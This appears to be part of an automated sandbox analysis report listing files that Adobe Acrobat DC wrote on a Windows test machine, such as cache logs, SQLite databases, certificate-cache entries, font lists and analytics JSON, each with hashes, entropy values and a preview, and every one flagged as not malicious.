Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184164886057212
Encrypted:	false
SSDEEP:	6:iOU34q2PcNwi2nKuAl9OmbzNMxIFUt2vJZmwpDkwOcNwi2nKuAl9OmbzNMFLJ:7NvLZHAa8jFUt2h/Z54ZHAa84J
MD5:	EEFC4B3BD71AEE64236C80A66A130268
SHA1:	E33CCB5FB2788681844DF70E2D331C11144780CE
SHA-256:	A669D222D969462F3E8DC31591BB5A1414B3B72EAA1D0841107F341ABB17A40D
SHA-512:	9D63911509AD97A30A00FCC5B250946F511C270688326695B145CB19DE504D9B55893947BCCC2BD64772286A682832DDEE5E1DB13FE99795874B204F3E6698EC
Malicious:	false
Preview:	2025/01/11-00:24:44.376 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:24:44.387 1ed0 Recovering log #3.2025/01/11-00:24:44.391 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4388893471955395
Encrypted:	false
SSDEEP:	384:yeaci5GIiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1kurVgazUpUTTGt
MD5:	8F0A14BEB7D8939AC4C593DC9EF2680D
SHA1:	E7614BF3A11842A91A3CBB5DB11C5C5D651D9A60
SHA-256:	4B18C56EC7B2CA2D33D0591BC308E61842EE9FAF1E748ADD9865DD01768E183C
SHA-512:	84FA6D5EB440DBF264F43F4682450F32ED811FEE08DCFC4BBD21149EEB3576A56E8925E5537A57902D70B8A3978AFB304B57AF659A1E28F7E201F9245A7E4648
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7726672440747535
Encrypted:	false
SSDEEP:	48:7Mk9p/E2ioyVDioy3DoWoy1CABoy1TKOioy1noy1AYoy1Wioy1hioybioyfoy1n1:7bpjuD0iAtXKQ6wb9IVXEBodRBk2
MD5:	8F363177A2709DF3AB6FAFF8AC157FF5
SHA1:	2D182A28314041452B7A26D95B52B40324D3D19A
SHA-256:	D153F3960DC03F269487BAFE59580AFF5AD47097E008382929E2919085C327B2
SHA-512:	9C29E169B29DE40F4B2E0E53D7ABE6121E18E70664A212EFB790BF07C6FB5C8209C5DCBCBD0C4883DEEC8692750971E9C7CCFA5BE09B7317F426066F10EB8A51
Malicious:	false
Preview:	.... .c...../A<................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7152349065063075
Encrypted:	false
SSDEEP:	3:kkFklcnUltfllXlE/HT8kkDlJltNNX8RolJuRdxLlGB9lQRYwpDdt:kKFn8eT8jNMa8RdWBwRd
MD5:	053EEB93D573FB48D9E56450F3567E48
SHA1:	B39496ACF619E24A745360CEDF725B12027EE52D
SHA-256:	422B9B8227FF18D85178446EBF07C69BD6D77DF297FA0FBD0B74A0E7AA655AC5
SHA-512:	72AE72D14F8BC9418ACE6F9F9AC776EBEEFE859FD805E8D56926F24A05CFA03AA7031365757B8EEC96C9CFE7683774F89EA4D45D251700F64C43324445409457
Malicious:	false
Preview:	p...... ......../..#.c..(....................................................... ..........W.....f..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKaHDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:SHDiDImsLNkPlE99SNxAhUe/3
MD5:	97C6A77AEE67AC0F9683370A1FB6196C
SHA1:	AE4D6818E43D4E8EE287483226BD13FD51F47707
SHA-256:	11B94BE7BDEE6167CEE01F58CBC9141D909A61F87BF74611EF11A88646F5E21D
SHA-512:	3E8E2F926A753CC4B9380D0DCBAE363BB32619443C768406FA8A9556A86B48EAAA35D4CD1563EF655E21E03A122BC178AE41D0B412ED8BF2FCD33380A979896D
Malicious:	false
Preview:	p...... ...........6.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.382729195233024
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJM3g98kUwPeUkwRe9:YvXKX+W2WsdTeOe2ZGMbLUkee9
MD5:	F9FA552B544EF2709A34FDA6F86C4140
SHA1:	2AC290AA58D89F4AA46587A2865D139DE8931C42
SHA-256:	9412A296A038D30715656D6E46F57312F64CB16EB4C429DE629AA4F43BBDE1D4
SHA-512:	AF3EED0513BACD6B7C0670FA5207FC850814B3C72DF0BC9337EE67B2CBF9BA96E71333443A4690758BD2A3F517BB0DB127FA341DD3D35CF2955E32EDDE587D53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.317416006817846
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfBoTfXpnrPeUkwRe9:YvXKX+W2WsdTeOe2ZGWTfXcUkee9
MD5:	0823B9CDB776524D1451FCA795F824D4
SHA1:	9D2B992603C48D259EC10666EE0FDE8CFC75B815
SHA-256:	4872FEA786C4135F557F5918D56C3E74CAC99DF25D47E12841813112164A446A
SHA-512:	3798E481732B7AEB661273B495A85934B9F3E215249BD57998C40430EC23ADFE45E5824013C06C94333F23AA8CFDEC40E26ED7F89B404A23F5F3400CE0E0F556
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297175334474842
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfBD2G6UpnrPeUkwRe9:YvXKX+W2WsdTeOe2ZGR22cUkee9
MD5:	3D712D3643ED10125FD6F7829C072094
SHA1:	0F05BCCC1BC4764F5FB71C8A71325B2B37F7BE99
SHA-256:	F53B179FA0D5024EAA10B6DE1BD5B2CBCE35957C0F4A4F6DFA4280CFC01A84B5
SHA-512:	645EF027DD321E4E0E87A15DD8FDD1BFAE9EB3CF50B022C0337D431526BCD4255B23D45EFE2CE63CE3E69168FE4E6D72ACB50B280DF569A29F9DD1B25995A31D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.370287000455062
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfPmwrPeUkwRe9:YvXKX+W2WsdTeOe2ZGH56Ukee9
MD5:	03F29C23CFEE6D7FCEE26996C870B7C4
SHA1:	36CEDBE8F1CE226BD0D6950C5D28C558B7A4716B
SHA-256:	672330435529885D06F3C7357FD04C359FF3BA5C9DE7FF1634225F6A672BF868
SHA-512:	20FBF9F57B1EA3CC35C0522B3517FAF0A8552FBB48F91CA6FED70151A3E7EBFD20647E1D252258E019340DCC9368EB77A8D0D1810A51193EC806A8820C3643AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694204899400122
Encrypted:	false
SSDEEP:	24:Yv6XzmeOe2+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:YvDev2+hgy6SAFv5Ah8cv/x
MD5:	2C8EB9F513CDA86B8B7F194AE1962C49
SHA1:	BA56159B6DBCA395CD45D056C8FDB095546BD8A5
SHA-256:	E740C30EF9DC5FD575D02FAEC928862A8D75930A068990D729F517F9826D4113
SHA-512:	A353A3023E009BA93F8BFDC23D2AF2BC03179FEF528BE1C21A256B72D66B7C2B57F7D842C496DCBD19763EE3B995D167BD2A9B49541CCCD82E5F5FB0BB2F5385
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307028119544643
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJf8dPeUkwRe9:YvXKX+W2WsdTeOe2ZGU8Ukee9
MD5:	63CC657BFFAD0623F7B976937C171229
SHA1:	365D490F5F867AED552E15B6FC070DBF150259CC
SHA-256:	FB0A177C251E632C92510A14F17933CA7E93D5D5045FFC221F0849CF4CC7C631
SHA-512:	94DEDF394E9F7C6B38121EB9D865469339D1199DA83D49AEAA4B1D5A8508D6BE52E6501ECC9663BB1C5EC4EDAF12A6B0BA54358D76400AE21329E9E96FF0C508
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.309943297500045
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfQ1rPeUkwRe9:YvXKX+W2WsdTeOe2ZGY16Ukee9
MD5:	17B4F4CB1869647E1BB0D4B396FE28C4
SHA1:	F44A8B21004A54DD2729284C3F4A9FDC0CF67F57
SHA-256:	5B853B7517351CEB7178E11A6FC8122BBA8FD37A34EDF78AA96A321E16D0844C
SHA-512:	7910C08E3A7A442A1721A6C5E161915D9E068ABA62EAF33D4EA70783F894E9423210AD824C572A7E15DBAF7F4EE316437D44FE4A8715C68FC446FA3798F5F4C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"38e0728b-77f3-4df6-be75-192468d77f0e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748489073,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325433470475381
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+1GYi2nWsGiIPEeOF0Y+4SWJqoAvJfFldPeUkwRe9:YvXKX+W2WsdTeOe2ZGz8Ukee9
MD5:	5ACF8A3A7D6EAB00E88F67347A29462D
SHA1:	073BCDB7212983DF37F6363B3053A84DEFBDB778
SHA-256:	D9658D86923E580C75A626D6FB5EA42923E962A3C0C27E5F510C3FB1119584D0
SHA-512:	9D9B8BB0E250378D3145E16D4E7A10DD890A592493257BE775CB457FB4609A349D1FD20087DDB47C6602BA0C79302F75EA7CAC0D6E9D4BA8E63E09ED45778785
Malicious:	false
